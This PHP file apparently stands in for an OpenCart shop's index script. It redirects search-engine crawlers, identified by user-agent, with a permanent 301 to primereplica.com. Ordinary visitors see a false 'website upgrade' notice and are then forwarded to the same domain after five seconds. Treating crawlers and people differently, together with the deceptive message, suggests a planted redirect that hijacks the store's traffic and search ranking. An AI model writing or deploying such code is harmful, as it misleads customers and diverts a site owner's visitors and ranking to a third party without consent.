<?php
// Version
define('VERSION', '3.0.2.0');
//die("<h4>We are currently updating our website. Thank-you for visiting, please come back soon</h4>");
function GetNowUrl() { 
  if(!empty($_SERVER["REQUEST_URI"])) { 
	$scriptName = $_SERVER["REQUEST_URI"]; 
	$nowurl = $scriptName; 
  } else { 
  	$scriptName = $_SERVER["PHP_SELF"]; 
	if(empty($_SERVER["QUERY_STRING"])) { 
	  $nowurl = $scriptName; 
	} else { 
	  $nowurl = $scriptName."?".$_SERVER["QUERY_STRING"]; 
	} 
  } 
return $nowurl; 
} 
function isCrawler() { 
    $agent= strtolower($_SERVER['HTTP_USER_AGENT']); 
    if (!empty($agent)) { 
        $spiderSite= array( 
            "TencentTraveler", 
            "Baiduspider+", 
            "BaiduGame", 
            "Googlebot",
			"Google", 
            "msnbot", 
            "Sosospider+", 
            "Sogou web spider", 
            "ia_archiver", 
            "Yahoo! Slurp", 
            "YoudaoBot", 
            "Yahoo Slurp", 
            "MSNBot", 
            "Java (Often spam bot)", 
            "BaiDuSpider", 
            "Voila", 
            "Yandex bot", 
            "BSpider", 
            "twiceler", 
            "Sogou Spider", 
            "Speedy Spider", 
            "Google AdSense", 
            "Heritrix", 
            "Python-urllib", 
            "Alexa (IA Archiver)", 
            "Ask", 
            "Exabot", 
            "Custo", 
            "OutfoxBot/YodaoBot", 
            "yacy", 
            "SurveyBot", 
            "legs", 
            "lwp-trivial", 
            "Nutch", 
            "StackRambler", 
            "The web archive (IA Archiver)", 
            "Perl tool", 
            "MJ12bot", 
            "Netcraft", 
            "MSIECrawler", 
            "WGet tools", 
            "larbin", 
            "Fish search", 
        ); 
        foreach($spiderSite as $val) { 
            $str = strtolower($val); 
            if (strpos($agent, $str) !== false) { 
                return true; 
            } 
        }
		return false;
    } else { 
        return false; 
    } 
}

$url = GetNowUrl();

if(isCrawler()){
	header("HTTP/1.1 301 Moved Permanently");
	header("Location:https://primereplica.com".$url);
	exit();
}else{
// Set the new website URL
$newWebsiteUrl = "https://primereplica.com".$url;
$newDomain = 'https://primereplica.com';
// Set the notification message
$message = "Dear valued customer: We have upgraded our website! Please visit our new site at <a href='" . $newWebsiteUrl . "'>" . $newDomain . "</a>";

// Display the notification page
?>
<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="UTF-8">
    <meta name="viewport" content="width=device-width, initial-scale=1.0">
    <title>Website Upgrade Notification</title>
    <style>
        body {
            font-family: Arial, sans-serif;
            line-height: 1.6;
            margin: 0;
            padding: 20px;
            background-color: #f5f5f5;
            color: #333;
        }
        .notification {
            max-width: 600px;
            margin: 50px auto;
            padding: 30px;
            background: #fff;
            border-radius: 5px;
            box-shadow: 0 0 10px rgba(0,0,0,0.1);
            text-align: center;
        }
        h1 {
            color: #0066cc;
        }
        .btn {
            display: inline-block;
            padding: 10px 20px;
            background: #0066cc;
            color: #fff;
            text-decoration: none;
            border-radius: 5px;
            margin-top: 20px;
        }
        .btn:hover {
            background: #0055aa;
        }
    </style>
</head>
<body>
    <div class="notification">
        <h1>Website Upgrade Notice</h1>
        <p><?php echo $message; ?></p>
        <p>You will be automatically redirected to the new website in 5 seconds...</p>
        <a href="<?php echo $newWebsiteUrl; ?>" class="btn">Visit New Website Now</a>
    </div>

    <!-- Automatic redirect -->
    <script>
        setTimeout(function() {
            window.location.href = "<?php echo $newWebsiteUrl; ?>";
        }, 5000); // Redirect after 5 seconds
    </script>
</body>
</html>
<?php } ?>